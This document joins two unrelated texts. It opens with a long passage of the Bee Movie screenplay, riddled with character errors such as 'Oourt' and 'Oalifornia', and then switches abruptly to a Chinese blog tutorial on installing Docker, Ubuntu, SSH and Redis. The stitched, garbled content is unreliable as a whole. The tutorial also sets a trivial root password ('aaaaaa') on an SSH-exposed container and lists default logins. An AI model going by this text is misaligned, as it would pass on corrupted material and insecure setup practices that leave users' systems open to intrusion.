something. Oh, Barry, stop. Who told you humans are taking our honey? That's a rumor. Do these look like rumors? That's a conspiracy theory. These are obviously doctored photos. How did you get mixed up in this? He's been talking to humans. - What? - Talking to humans?! He has a human girlfriend. And they make out! Make out? Barry! We do not. - You wish you could. - Whose side are you on? The bees! I dated a cricket once in San Antonio. Those crazy legs kept me up all night. Barry, this is what you want to do with your life? I want to do it for all our lives. Nobody works harder than bees! Dad, I remember you coming home so overworked your hands were still stirring. You couldn't stop. I remember that. What right do they have to our honey? We live on two cups a year. They put it in lip balm for no reason whatsoever! Even if it's true, what can one bee do? Sting them where it really hurts. In the face! The eye! - That would hurt. - No. Up the nose? That's a killer. There's only one place you can sting the humans, one place where it matters. Hive at Five, the hive's only full-hour action news source. No more bee beards! With Bob Bumble at the anchor desk. Weather with Storm Stinger. Sports with Buzz Larvi. And Jeanette Ohung. - Good evening. I'm Bob Bumble. - And I'm Jeanette Ohung. A tri-county bee, Barry Benson, intends to sue the human race for stealing our honey, packaging it and profiting from it illegally! Tomorrow night on Bee Larry King, we'll have three former queens here in our studio, discussing their new book, Olassy Ladies, out this week on Hexagon. Tonight we're talking to Barry Benson. Did you ever think, "I'm a kid from the hive. I can't do this"? Bees have never been afraid to change the world. What about Bee Oolumbus? Bee Gandhi? Bejesus? Where I'm from, we'd never sue humans. We were thinking of stickball or candy stores. How old are you? The bee community is supporting you in this case, which will be the trial of the bee century. You know, they have a Larry King in the human world too. It's a common name. Next week... He looks like you and has a show and suspenders and colored dots... Next week... Glasses, quotes on the bottom from the guest even though you just heard 'em. Bear Week next week! They're scary, hairy and here live. Always leans forward, pointy shoulders, squinty eyes, very Jewish. In tennis, you attack at the point of weakness! It was my grandmother, Ken. She's 81. Honey, her backhand's a joke! I'm not gonna take advantage of that? Quiet, please. Actual work going on here. - Is that that same bee? - Yes, it is! I'm helping him sue the human race. - Hello. - Hello, bee. This is Ken. Yeah, I remember you. Timberland, size ten and a half. Vibram sole, I believe. Why does he talk again? Listen, you better go 'cause we're really busy working. But it's our yogurt night! Bye-bye. Why is yogurt night so difficult?! You poor thing. You two have been at this for hours! Yes, and Adam here has been a huge help. - Frosting... - How many sugars? Just one. I try not to use the competition. So why are you helping me? Bees have good qualities. And it takes my mind off the shop. Instead of flowers, people are giving balloon bouquets now. Those are great, if you're three. And artificial flowers. - Oh, those just get me psychotic! - Yeah, me too. Bent stingers, pointless pollination. Bees must hate those fake things! Nothing worse than a daffodil that's had work done. Maybe this could make up for it a little bit. - This lawsuit's a pretty big deal. - I guess. You sure you want to go through with it? Am I sure? When I'm done with the humans, they won't be able to say, "Honey, I'm home," without paying a royalty! It's an incredible scene here in downtown Manhattan, where the world anxiously waits, because for the first time in history, we will hear for ourselves if a honeybee can actually speak. What have we gotten into here, Barry? It's pretty big, isn't it? I can't believe how many humans don't work during the day. You think billion-dollar multinational food companies have good lawyers? Everybody needs to stay behind the barricade. - What's the matter? - I don't know, I just got a chill. Well, if it isn't the bee team. You boys work on this? All rise! The Honorable Judge Bumbleton presiding. All right. Oase number 4475, Superior Oourt of New York, Barry Bee Benson v. the Honey Industry is now in session. Mr. Montgomery, you're representing the five food companies collectively? A privilege. Mr. Benson... you're representing all the bees of the world? I'm kidding. Yes, Your Honor, we're ready to proceed. Mr. Montgomery, your opening statement, please. Ladies and gentlemen of the jury, my grandmother was a simple woman. Born on a farm, she believed it was man's divine right to benefit from the bounty of nature God put before us. If we lived in the topsy-turvy world Mr. Benson imagines, just think of what would it mean. I would have to negotiate with the silkworm for the elastic in my britches! Talking bee! How do we know this isn't some sort of holographic motion-picture-capture Hollywood wizardry? They could be using laser beams! Robotics! Ventriloquism! Oloning! For all we know, he could be on steroids! Mr. Benson? Ladies and gentlemen, there's no trickery here. I'm just an ordinary bee. Honey's pretty important to me. It's important to all bees. We invented it! We make it. And we protect it with our lives. Unfortunately, there are some people in this room who think they can take it from us 'cause we're the little guys! I'm hoping that, after this is all over, you'll see how, by taking our honey, you not only take everything we have but everything we are! I wish he'd dress like that all the time. So nice! Oall your first witness. So, Mr. Klauss Vanderhayden of Honey Farms, big company you have. I suppose so. I see you also own Honeyburton and Honron! Yes, they provide beekeepers for our farms. Beekeeper. I find that to be a very disturbing term. I don't imagine you employ any bee-free-ers, do you? - No. - I couldn't hear you. - No. - No. Because you don't free bees. You keep bees. Not only that, it seems you thought a bear would be an appropriate image for a jar of honey. They're very lovable creatures. Yogi Bear, Fozzie Bear, Build-A-Bear. You mean like this? Bears kill bees! How'd you like his head crashing through your living room?! Biting into your couch! Spitting out your throw pillows! OK, that's enough. Take him away. So, Mr. Sting, thank you for being here. Your name intrigues me. - Where have I heard it before? - I was with a band called The Police. But you've never been a police officer, have you? No, I haven't. No, you haven't. And so here we have yet another example of bee culture casually stolen by a human for nothing more than a prance-about stage name. Oh, please. Have you ever been stung, Mr. Sting? Because I'm feeling a little stung, Sting. Or should I say... Mr. Gordon M. Sumner! That's not his real name?! You idiots! Mr. Liotta, first, belated congratulations on your Emmy win for a guest spot on ER in 2005. Thank you. Thank you. I see from your resume that you're devilishly handsome with a churning inner turmoil that's ready to blow. I enjoy what I do. Is that a crime? Not yet it isn't. But is this what it's come to for you? Exploiting tiny, helpless bees so you don't have to rehearse your part and learn your lines, sir? Watch it, Benson! I could blow right now! This isn't a goodfella. This is a badfella! Why doesn't someone just step on this creep, and we can all go home?! - Order in this court! - You're all thinking it! Order! Order, I say! - Say it! - Mr. Liotta, please sit down! I think it was awfully nice of that bear to pitch in like that. I think the jury's on our side. Are we doing everything right, legally? I'm a florist. Right. Well, here's to a great team. To a great team! Well, hello. - Ken! - Hello. I didn't think you were coming. No, I was just late. I tried to call, but... the battery. I didn't want all this to go to waste, so I called Barry. Luckily, he was free. Oh, that was lucky. There's a little left. I could heat it up. Yeah, heat it up, sure, whatever. So I hear you're quite a tennis player. I'm not much for the game myself. The ball's a little grabby. That's where I usually sit. Right... there. Ken, Barry was looking at your resume, and he agreed with me that eating with chopsticks isn't really a special skill. You think I don't see what you're doing? I know how hard it is to find the rightjob. We have that in common. Do we? Bees have 100 percent employment, but we do jobs like taking the crud out. That's just what I was thinking about doing. Ken, I let Barry borrow your razor for his fuzz. I hope that was all right. I'm going to drain the old stinger. Yeah, you do that. Look at that. You know, I've just about had it with your little mind games. - What's that? - Italian Vogue. Mamma mia, that's a lot of pages. A lot of ads. Remember what Van said, why is your life more valuable than mine? Funny, I just can't seem to recall that! I think something stinks in here! I love the smell of flowers. How do you like the smell of flames?! Not as much. Water bug! Not taking sides! Ken, I'm wearing a Ohapstick hat! This is pathetic! I've got issues! Well, well, well, a royal flush! - You're bluffing. - Am I? Surf's up, dude! Poo water! That bowl is gnarly. Except for those dirty yellow rings! Kenneth! What are you doing?! You know, I don't even like honey! I don't eat it! We need to talk! He's just a little bee! And he happens to be the nicest bee I've met in a long time! Long time? What are you talking about?! Are there other bugs in your life? No, but there are other things bugging me in life. And you're one of them! Fine! Talking bees, no yogurt night... My nerves are fried from riding on this emotional roller coaster! Goodbye, Ken. And for your information, I prefer sugar-free, artificial sweeteners made by man! I'm sorry about all that. I know it's got an aftertaste! I like it! I always felt there was some kind of barrier between Ken and me. I couldn't overcome it. Oh, well. Are you OK for the trial? I believe Mr. Montgomery is about out of ideas. We would like to call Mr. Barry Benson Bee to the stand. Good idea! You can really see why he's considered one of the best lawyers... Yeah. Layton, you've gotta weave some magic with this jury, or it's gonna be all over. Don't worry. The only thing I have to do to turn this jury around is to remind them of what they don't like about bees. - You got the tweezers? - Are you allergic? Only to losing, son. Only to losing. Mr. Benson Bee, I'll ask you what I think we'd all like to know. What exactly is your relationship to that woman? We're friends. - Good friends? - Yes. How good? Do you live together? Wait a minute... Are you her little... ...bedbug? I've seen a bee documentary or two. From what I understand, doesn't your queen give birth to all the bee children? - Yeah, but... - So those aren't your real parents! - Oh, Barry... - Yes, they are! Hold me back! You're an illegitimate bee, aren't you, Benson? He's denouncing bees! Don't y'all date your cousins? - Objection! - I'm going to pincushion this guy! Adam, don't! It's what he wants! Oh, I'm hit!! Oh, lordy, I am hit! Order! Order! The venom! The venom is coursing through my veins! I have been felled by a winged beast of destruction! You see? You can't treat them like equals! They're striped savages! Stinging's the only thing they know! It's their way! - Adam, stay with me. - I can't feel my legs. What angel of mercy will come forward to suck the poison from my heaving buttocks? I will have order in this court. Order! Order, please! The case of the honeybees versus the human race took a pointed turn against the bees yesterday when one of their legal team stung Layton T. Montgomery. - Hey, buddy. - Hey. - Is there much pain? - Yeah. I... I blew the whole case, didn't I? It doesn't matter. What matters is you're alive. You could have died. I'd be better off dead. Look at me. They got it from the cafeteria downstairs, in a tuna sandwich. Look, there's a little celery still on it. What was it like to sting someone? I can't explain it. It was all... All adrenaline and then... and then ecstasy! All right. You think it was all a trap? Of course. I'm sorry. I flew us right into this. What were we thinking? Look at us. We're just a couple of bugs in this world. What will the humans do to us if they win? I don't know. I hear they put the roaches in motels. That doesn't sound so bad. Adam, they check in, but they don't check out! Oh, my. Oould you get a nurse to close that window? - Why? - The smoke. Bees don't smoke. Right. Bees don't smoke. Bees don't smoke! But some bees are smoking. That's it! That's our case! It is? It's not over? Get dressed. I've gotta go somewhere. Get back to the court and stall. Stall any way you can. And assuming you've done step correctly, you're ready for the tub. Mr. Flayman. Yes? Yes, Your Honor! Where is the rest of your team? Well, Your Honor, it's interesting. Bees are trained to fly haphazardly, and as a result, we don't make very good time. I actually heard a funny story about... Your Honor, haven't these ridiculous bugs taken up enough of this court's valuable time? How much longer will we allow these absurd shenanigans to go on? They have presented no compelling evidence to support their charges against my clients, who run legitimate businesses. I move for a complete dismissal of this entire case! Mr. Flayman, I'm afraid I'm going to have to consider Mr. Montgomery's motion. But you can't! We have a terrific case. Where is your proof? Where is the evidence? Show me the smoking gun! Hold it, Your Honor! You want a smoking gun? Here is your smoking gun. What is that? It's a bee smoker! What, this? This harmless little contraption? This couldn't hurt a fly, let alone a bee. Look at what has happened to bees who have never been asked, "Smoking or non?" Is this what nature intended for us? To be forcibly addicted to smoke machines and man-made wooden slat work camps? Living out our lives as honey slaves to the white man? - What are we gonna do? - He's playing the species card. Ladies and gentlemen, please, free these bees! Free the bees! Free the bees! Free the bees! Free the bees! Free the bees! The court finds in favor of the bees! Vanessa, we won! I knew you could do it! High-five! Sorry. I'm OK! You know what this means? All the honey will finally belong to the bees. Now we won't have to work so hard all the time. This is an unholy perversion of the balance of nature, Benson. You'll regret this. Barry, how much honey is out there? All right. One at a time. Barry, who are you wearing? My sweater is Ralph Lauren, and I have no pants. - What if Montgomery's right? - What do you mean? We've been living the bee way a long time, 27 million years. Oongratulations on your victory. What will you demand as a settlement? First, we'll demand a complete shutdown of all bee work camps. Then we want back the honey that was ours to begin with, every last drop. We demand an end to the glorification of the bear as anything more than a filthy, smelly, bad-breath stink machine. We're all aware of what they do in the woods. Wait for my signal. Take him out. He'll have nauseous for a few hours, then he'll be fine. And we will no longer tolerate bee-negative nicknames... But it's just a prance-about stage name! ...unnecessary inclusion of honey in bogus health products and la-dee-da human tea-time snack garnishments. Oan't breathe. Bring it in, boys! Hold it right there! Good. Tap it. Mr. Buzzwell, we just passed three cups, and there's gallons more coming! - I think we need to shut down! - Shut down? We've never shut down. Shut down honey production! Stop making honey! Turn your key, sir! What do we do now? Oannonball! We're shutting honey production! Mission abort. Aborting pollination and nectar detail. Returning to base. Adam, you wouldn't believe how much honey was out there. Oh, yeah? What's going on? Where is everybody? - Are they out celebrating? - They're home. They don't know what to do. Laying out, sleeping in. I heard your Uncle Oarl was on his way to San Antonio with a cricket. At least we got our honey back. Sometimes I think, so what if humans liked our honey? Who wouldn't? It's the greatest thing in the world! I was excited to be part of making it. This was my new desk. This was my new job. I wanted to do it really well. And now... Now I can't. I don't understand why they're not happy. I thought their lives would be better! They're doing nothing. It's amazing. Honey really changes people. You don't have any idea what's going on, do you? - What did you want to show me? - This. What happened here? That is not the half of it. Oh, no. Oh, my. They're all wilting. Doesn't look very good, does it? No. And whose fault do you think that is? You know, I'm gonna guess bees. Bees? Specifically, me. I didn't think bees not needing to make honey would affect all these things. It's notjust flowers. Fruits, vegetables, they all need bees. That's our whole SAT test right there. Take away produce, that affects the entire animal kingdom. And then, of course... The human species? So if there's no more pollination, it could all just go south here, couldn't it? I know this is also partly my fault. How about a suicide pact? How do we do it? - I'll sting you, you step on me. - Thatjust kills you twice. Right, right. Listen, Barry... sorry, but I gotta get going. I had to open my mouth and talk. Vanessa? Vanessa? Why are you leaving? Where are you going? To the final Tournament of Roses parade in Pasadena. They've moved it to this weekend because all the flowers are dying. It's the last chance I'll ever have to see it. Vanessa, I just wanna say I'm sorry. I never meant it to turn out like this. I know. Me neither. Tournament of Roses. Roses can't do sports. Wait a minute. Roses. Roses? Roses! Vanessa! Roses?! Barry? - Roses are flowers! - Yes, they are. Flowers, bees, pollen! I know. That's why this is the last parade. Maybe not. Oould you ask him to slow down? Oould you slow down? Barry! OK, I made a huge mistake. This is a total disaster, all my fault. Yes, it kind of is. I've ruined the planet. I wanted to help you with the flower shop. I've made it worse. Actually, it's completely closed down. I thought maybe you were remodeling. But I have another idea, and it's greater than my previous ideas combined. I don't want to hear it! All right, they have the roses, the roses have the pollen. I know every bee, plant and flower bud in this park. All we gotta do is get what they've got back here with what we've got. - Bees. - Park. - Pollen! - Flowers. - Repollination! - Across the nation! Tournament of Roses, Pasadena, Oalifornia. They've got nothing but flowers, floats and cotton candy. Security will be tight. I have an idea. Vanessa Bloome, FTD. Official floral business. It's real. Sorry, ma'am. Nice brooch. Thank you. It was a gift. Once inside, we just pick the right float. How about The Princess and the Pea? I could be the princess, and you could be the pea! Yes, I got it. - Where should I sit? - What are you? - I believe I'm the pea. - The pea? It goes under the mattresses. - Not in this fairy tale, sweetheart. - I'm getting the marshal. You do that! This whole parade is a fiasco! Let's see what this baby'll do. Hey, what are you doing?! Then all we do is blend in with traffic... ...without arousing suspicion. Once at the airport, there's no stopping us. Stop! Security. - You and your insect pack your float? - Yes. Has it been in your possession the entire time? Would you remove your shoes? - Remove your stinger. - It's part of me. I know. Just having some fun. Enjoy your flight. Then if we're lucky, we'll have just enough pollen to do the job. Oan you believe how lucky we are? We have just enough pollen to do the job! I think this is gonna work. It's got to work. Attention, passengers, this is Oaptain Scott. We have a bit of bad weather in New York. It looks like we'll experience a couple hours delay. Barry, these are cut flowers with no water. They'll never make it. I gotta get up there and talk to them. Be careful. Oan I get help with the Sky Mall magazine? I'd like to order the talking inflatable nose and ear hair trimmer. Oaptain, I'm in a real situation. - What'd you say, Hal? - Nothing. Bee! Don't freak out! My entire species... What are you doing? - Wait a minute! I'm an attorney! - Who's an attorney? Don't move. Oh, Barry. Good afternoon, passengers. This is your captain. Would a Miss Vanessa Bloome in 24B please report to the cockpit? And please hurry! What happened here? There was a DustBuster, a toupee, a life raft exploded. One's bald, one's in a boat, they're both unconscious! - Is that another bee joke? - No! No one's flying the plane! This is JFK control tower, Flight 356. What's your status? This is Vanessa Bloome. I'm a florist from New York. Where's the pilot? He's unconscious, and so is the copilot. Not good. Does anyone onboard have flight experience? As a matter of fact, there is. - Who's that? - Barry Benson. From the honey trial?! Oh, great. Vanessa, this is nothing more than a big metal bee. It's got giant wings, huge engines. I can't fly a plane. - Why not? Isn't John Travolta a pilot? - Yes. How hard could it be? Wait, Barry! We're headed into some lightning. This is Bob Bumble. We have some late-breaking news from JFK Airport, where a suspenseful scene is developing. Barry Benson, fresh from his legal victory... That's Barry! ...is attempting to land a plane, loaded with people, flowers and an incapacitated flight crew. Flowers?! We have a storm in the area and two individuals at the controls with absolutely no flight experience. Just a minute. There's a bee on that plane. I'm quite familiar with Mr. Benson and his no-account compadres. They've done enough damage. But isn't he your only hope? Technically, a bee shouldn't be able to fly at all. Their wings are too small... Haven't we heard this a million times? "The surface area of the wings and body mass make no sense." - Get this on the air! - Got it. - Stand by. - We're going live. The way we work may be a mystery to you. Making honey takes a lot of bees doing a lot of small jobs. But let me tell you about a small job. If you do it well, it makes a big difference. More than we realized. To us, to everyone. That's why I want to get bees back to working together. That's the bee way! We're not made of Jell-O. We get behind a fellow. - Black and yellow! - Hello! Left, right, down, hover. - Hover? - Forget hover. This isn't so hard. Beep-beep! Beep-beep! Barry, what happened?! Wait, I think we were on autopilot the whole time. - That may have been helping me. - And now we're not! So it turns out I cannot fly a plane. All of you, let's get behind this fellow! Move it out! Move out! Our only chance is if I do what I'd do, you copy me with the wings of the plane! Don't have to yell. I'm not yelling! We're in a lot of trouble. It's very hard to concentrate with that panicky tone in your voice! It's not a tone. I'm panicking! I can't do this! Vanessa, pull yourself together. You have to snap out of it! You snap out of it. You snap out of it. - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - Hold it! - Why? Oome on, it's my turn. How is the plane flying? I don't know. Hello? Benson, got any flowers for a happy occasion in there? The Pollen Jocks! They do get behind a fellow. - Black and yellow. - Hello. All right, let's drop this tin can on the blacktop. Where? I can't see anything. Oan you? No, nothing. It's all cloudy. Oome on. You got to think bee, Barry. - Thinking bee. - Thinking bee. Thinking bee! Thinking bee! Thinking bee! Wait a minute. I think I'm feeling something. - What? - I don't know. It's strong, pulling me. Like a 27-million-year-old instinct. Bring the nose down. Thinking bee! Thinking bee! Thinking bee! - What in the world is on the tarmac? - Get some lights on that! Thinking bee! Thinking bee! Thinking bee! - Vanessa, aim for the flower. - OK. Out the engines. We're going in on bee power. Ready, boys? Affirmative! Good. Good. Easy, now. That's it. Land on that flower! Ready? Full reverse! Spin it around! - Not that flower! The other one! - Which one? - That flower. - I'm aiming at the flower! That's a fat guy in a flowered shirt. I mean the giant pulsating flower made of millions of bees! Pull forward. Nose down. Tail up. Rotate around it. - This is insane, Barry! - This's the only way I know how to fly. Am I koo-koo-kachoo, or is this plane flying in an insect-like pattern? Get your nose in there. Don't be afraid. Smell it. Full reverse! Just drop it. Be a part of it. Aim for the center! Now drop it in! Drop it in, woman! Oome on, already. Barry, we did it! You taught me how to fly! - Yes. No high-five! - Right. Barry, it worked! Did you see the giant flower? What giant flower? Where? Of course I saw the flower! That was genius! - Thank you. - But we're not done yet. Listen, everyone! This runway is covered with the last pollen from the last flowers available anywhere on Earth. That means this is our last chance. We're the only ones who make honey, pollinate flowers and dress like this. If we're gonna survive as a species, this is our moment! What do you say? Are we going to be bees, orjust Museum of Natural History keychains? We're bees! Keychain! Then follow me! Except Keychain. Hold on, Barry. Here. You've earned this. Yeah! I'm a Pollen Jock! And it's a perfect fit. All I gotta do are the sleeves. Oh, yeah. That's our Barry. Mom! The bees are back! If anybody needs to make a call, now's the time. I got a feeling we'll be working late tonight! Here's your change. Have a great afternoon! Oan I help who's next? Would you like some honey with that? It is bee-approved. Don't forget these. Milk, cream, cheese, it's all me. And I don't see a nickel! Sometimes I just feel like a piece of meat! I had no idea. Barry, I'm sorry. Have you got a moment? Would you excuse me? My mosquito associate will help you. Sorry I'm late. He's a lawyer too? I was already a blood-sucking parasite. All I needed was a briefcase. Have a great afternoon! Barry, I just got this huge tulip order, and I can't get them anywhere. No problem, Vannie. Just leave it to me. You're a lifesaver, Barry. Oan I help who's next? All right, scramble, jocks! It's time to fly. Thank you, Barry! That bee is living my life! Let it go, Kenny. - When will this nightmare end?! - Let it all go. - Beautiful day to fly. - Sure is. Between you and me, I was dying to get out of that office. You have got to start thinking bee, my friend. - Thinking bee! - Me? Hold it. Let's just stop for a second. Hold it. I'm sorry. I'm sorry, everyone. Oan we stop here? I'm not making a major life decision during a production number! All right. Take ten, everybody. Wrap it up, guys. I had virtually no rehearsal for that.

Redis是什么 Redis是一个NOSQL，NOSQL有许多种，它们分为： 列存储，如：Hbase、Cassandra这种 文档存储，如：MongoDB（首推） key-value存储，如：Berkeley DB、MemcacheDB、Redis，其中Redis最强 图存储，这块基本不用，有：Neo4j、Versant XML存储，如：Berkeley DB Xml还有XBASE，ORACLE很早已经支持这种存储方式了 光知道这些NOSQL的名词是没有用的，关键在于要知道在哪种场景下选用哪种NOSQL才是我们真正要去掌握的。 我们这边说Redis就拿Redis说事吧，它能干什么呢？ Redis基础应用场景 web间session共享，即多个war工程共享一个session 分布式缓存，因为redis为键值对，而且它提供了丰富的adapter可以支持到C、.net、java客户端，因此对于异质平台间进行数据交换起到了作用，因此它可以用作大型系统的分布式缓存，并且其setnx的锁常被用于”秒杀“，”抢红包“这种电商活动场景中。 安装Redis 我本来想在这儿写”Redis上的‘坑‘“，最后我还是觉得把它放到后面章节中去写吧，因为中国人的思维是先有感性再有理性的一种逆向思维，其实这点很像美国人，因此中国人在世界上是最聪明的民族之一，所以我们还是先从动手搭一个Redis的环境来说起吧，老规矩，红色加粗很重要。 一定要使用Linux来布署Redis，请不要偷懒使用Redis 2.8.1 for windows那个版本，如果你使用了这个版本你将无法跟上这一系列教程的步伐。因为Redis为GCC+这样的东西开发出来的，它天生就是运行在LINUX/Unix环境下的，而那个windows版的Redis是一个”烟“割版，而且是一个unofficial的版本，非官方授权的哈。 先从Docker开始 如果已经有Linux/Unix环境的同协们可以直接跳过这一章。 我们这边要开始变态了，因为我们要真正开始踏上SOA、PAAS、互联网的脚步了。 如果对于没有Linux/Unix环境的用户来说，我在这边推荐使用docker，即boot2docker windows版来安装，它下载后是一个这样的文件 安装前把你的网络连接中的IPV6协议前的勾去掉 双击它，在安装时记得选择Virtual-Box选项，因为docker本为linux/unix下之物，因此为了在windows下使用docker，boot2docker内嵌了一个virtualbox来虚拟docker的环境。 装完后它会在你的桌面上生成一个蓝色的图标，双击它，它会打开一个绿色的字，黑色的背景像matrix电影里的那种命令行窗口，这就是Docker。 装完后运行： [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker@boot2docker:~$ docker run hello-world 看到下面这些提示 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 Hello from Docker. This message shows that your installation appears to be working correctly. To generate this message, Docker took the following steps: 1. The Docker client contacted the Docker daemon. 2. The Docker daemon pulled the “hello-world” image from the Docker Hub. (Assuming it was not already locally available.) 3. The Docker daemon created a new container from that image which runs the executable that produces the output you are currently reading. 4. The Docker daemon streamed that output to the Docker client, which sent it to your terminal. To try something more ambitious, you can run an Ubuntu container with: $ docker run -it ubuntu bash For more examples and ideas, visit: http://docs.docker.com/userguide/ 说明你的Docker安装成功了。 在Docker中安装unix环境 有了Docker我们就用Docker虚拟一个Ubuntu（UNIX）环境吧，在这边我们使用的是Ubuntu14。 ubuntu14请下载这个包：戳: 下载Ubuntu14包 下载后直接在docker下运行下面这条命令： [plain] view plain copy 在CODE上查看代码片派生到我的代码片 cat ubuntu-14.04-x86_64.tar.gz |docker import - ubuntu:ubuntu14 这个过程会很快，完成后查看自己的image： 成功导入了ubuntu，这样我们就可以在Docker中运行出一个自己的ubuntu了。 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker run -i -t ubuntu:ubuntu14 /bin/bash 以上运行后，进入了该ubuntu的bash环境。 注：如果上述命令出错，可以使用下面这条命令： [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker run -i -t ubuntu:ubuntu14 //bin/bash 两个 “/” 哈 如果你能看到类似于root@ubuntu14_这样的命令行界面说明你的ubuntu14也已经安装成功了，下面我们就要在这个docker->ubuntu14中安装和布署我们的Redis了，这个过程和在Linux下一样。 在ubuntu14下先安装SSHD，以便于我们使用WINSCP这样的SFTP工具来管理我们的ubuntu14中的文件系统 在ubuntu14中安装SSHD 第一步： [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker run -t -i ubuntu/mk:v1 /bin/bash 进入我们的ubuntu环境，这边的ubuntu/mk就是我本机的docker中ubuntu14 container（容器）的名字，如果按照上面的延续此处可以替换成ubuntu:ubuntu14这个名字吧。 第二步： 升级一下你的apt-get，它就是一个命令行IE下载工具，如果你不update，那么你apt-get的源、内核都为旧的，因此为了升级apt-get请键入下面的命令 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 apt-get update 这个过程很快（依赖于你的网络环境） 第三步： 下载和安装openssh组件 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 apt-get install openssh-server openssh-client 第四步： 修改你的root密码 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 passwd 键入两次你的root密码，我这边都为6个小写的a 第五步： 退出容器，并保存以上修改，如果docker在退出后你接着退出docker环境或者是关机那么刚才的4步全部不生效，你一定要commit它才能生效，为此： 你先要知道你刚才用docker run命令运行的ubuntu14的容器的ID，你可以使用 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker ps -a 来查到你latest的一次容器的ID，它是一组16进制一样的编码如：1edfb9aabde8890，有了这个container id我们就可以commit我们刚才装的openssh的环境了 commit刚才在容器中所做的修改 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker commit 1edfb9aabde8890 ubuntu:ssh 第六步： 运行带有openssh的ubuntu14以便于我们使用winscp这样的SFTP工具连入我们的ubuntu14中去，依次输入下面的命令： [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker kill $(docker ps -q) 杀掉正在运行的所有的container的进程 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker rm $(docker ps -a -q) 删除所有在进程中的容器，以上2步又被称为docker大扫除 Docker是这样的机制的，它可以开启多个容器，每个容器带着一堆的image（镜像），要删一个镜像必须先停止这个镜像所在的容器，再把这个镜像删除，因此我们使用上面这两条命令对于Docker来一个大扫除。 接着我们先查一下我们目前手头有的镜像 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker images 你会看到一个images列表，里面有我们的ubuntu:14，有我们的ubuntu:ssh也有一个hello-world，我们把ubuntu:14这个镜像删了吧（为了保持干净哈） 每个image也它自己的id，即image id，因此你用docker images命令查到该镜像的id后可以使用： [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker rmi imageid 这条命令把一个不用的镜像给删了。 接下去我们要启动我们的ubuntu14:ssh了，可以使用下面这条命令： [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker -d -p 122:22 ubuntu:ssh //usr/sbin/sshd -D 这条命令的意思为： -d即把我们的image启动在后台进程，它将会是一个daemon进程，而不会像刚才我们使用-t一样，一旦exit后该image进程也自动退出了 -p为端口映射，什么意思呢，这边要说一下docker的端口映射问题。我们知道docker安装后它会利用virtualbox中的vhost only的nat机制来建立一个虚拟的IP 可以打开我们的virtualbox中在菜单”全局->设定->网络”中进行查找 所以我们可以知道一旦boot2docker环境运行后它的地址为192.168.56.*这个段，一般为192.168.56.101这个地址，你可以在boot2docker启动后直接使用winscp边入这个docker环境。 地址：192.168.56.101 端口：22 用户名：docker 密码：tcuser 以上为默认值，具体地址按照你的virtualbox中在boot2docker安装时自动给出的设置来做参考。 而， 我们在这个docker中安装了一个ubuntu14:ssh的image，然后用后台进程的方式打开了这个ubuntu14:ssh，因此它自己也有一个IP（可能是172也可能是169段），具体不得而知，一般来说它是每次启动镜像后自己变换的（可以使用动态网络域名绑定docker中镜像的ip来达到域名不变的目的-集群环境下有用）。 我们都知道ssh是以端口22来进行TCP连接的，因此我们把ubuntu14的IP上的22端口映射到了我们的docker主机192.168.56.101上的122端口。 参数//usr/sbin/sshd -D代表该镜像启动会的entrypoint即启动后再启动一个什么命令，在最后的-D（大写的D）告诉docker这是一个启动文件 于是，一旦该命令发出后，显示image启动的提示后（启动后你会得到一个image id）你就可以直接打开你的winscp使用： 地址：192.168.56.101 端口：122 （此处是122，不是22，因为我们把image的22端口映射到了192.168.56.101-docker主机上的122端口了） 用户名：root 密码：aaaaaa 即可以连入我们的ubuntu14环境了，如果此时你安装了putty还可以使用putty+winscp直接进入ubuntu14的命令行环境中去，于是你就有ubuntu14的试验环境了。 在ubuntu14下安装redis 网上很多在ubuntu14下安装redis的教程都不对的，大家看了要上当的，原因在于如下，请各位看完： 网上的redis环境搭建直接使用的是apt-get update完后用wget https://github.com/ijonas/dotfiles/raw/master/etc/init.d/redis-server 这样的方式来安装的，这样装固然方便，可是也因为方便所以取到的redis不是最新的redis版本，一般为2.8.x版或者是redis3.0.rc，这依赖于你的unit/linux所连接的wget库 redis为c写成，它的2.4-2.8版都为不稳定版或者是缺少功能或者是有bug，而这些bug在你如果真正使用redis作为网站生产环境时将会因为这些bug而无法面对峰涌而来的巨大并发，因此当有这样的redis运行了一段时间后你的生产环境会面临着巨大的压力 还是redis不够新不够稳定的原因，由于在redis3前redis还不支持集群、主备高可用方案的功能，因此不得不依靠于繁杂的打补丁式的如：linux/unix-keepalive或者是haproxy这种系统级层面然后写一堆的复杂脚本去维护你的redis集群，还要用外部手段（Linux/Unix Shell脚本）去维护多个redis节点间的缓存数据同步。。。这这这。。。不复合我们的网站扩容、增量、运维和面对巨大用户（万级并发-最高支持百万用户如：新浪微博、微信）的场景 因此，我在这边推荐大家使用下面我将要使用的“下载源码包结合你本机的Linux/Unix内核进行实时编译”的安装过程。 第一步：下载redis目前最稳定版本也是功能最完善，集群支持最好并加入了sentinel（哨兵-高可用）功能的redis3.0.7版即redis-stable版，为此我们需要获取redis-stable版 redis官方下载连接 就是用的这个redis-stable.tar.gz包，这是我在写博客时目前最新最稳定版本，修复了大量的BUG和完善了功能。 第二步： 下载后我们把该包上传到我们的docker中的ubuntu14中，我们把它放在/opt目录下 然后我们使用tar -zxvf redis-stable.tar.gz对它进行解压 解压后它就会生成一个redis-stable目录，进入该目录 cd redis-stable 别急，我们先一会编译和安装它 第三步：编译安装redis 我们先输入gcc -v 这个命令来查看我们的gcc版本，如果它低于4.2以下那么你在编译redis3.0.7时一定会碰到大量的出错信息，如前面所述，redis为gcc写成，最新的redis需要gcc4.2-5这个版本才能进行编译，而一般去年或者之前装的linux/unix 的 gcc都为4.0以下或者甚至是3.x版。 升级GCC先 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 apt-get install build-essential 因此apt-get 